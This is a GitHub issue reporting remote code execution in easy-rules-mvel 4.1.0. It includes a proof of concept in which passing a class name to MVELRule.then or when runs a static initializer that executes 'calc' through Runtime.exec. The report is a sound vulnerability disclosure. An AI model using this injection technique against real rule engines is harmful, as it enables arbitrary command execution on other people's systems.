-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Open
Description
easy-rules-mvel version: 4.1.0
I have run code like:
try {
MVELRule mVELRule = new MVELRule();
MVELRule result = mVELRule.then("jaz.Zer");
} catch (Exception e) {
}Meanwhile I hava class jaz.Zer in classpath, which content is:
import java.io.IOException;
public class Zer {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}On Windows platform, above code will open my PC's calculator
Additional: MVELRule.when also leads to this RCE
try {
MVELRule mVELRule = new MVELRule();
MVELRule result = mVELRule.when("\bjaz.Zer");
} catch (Exception e) {
}blaghed, lbusch25, ekram-kazi-exa and leaf-soba
Metadata
Metadata
Assignees
Labels
No labels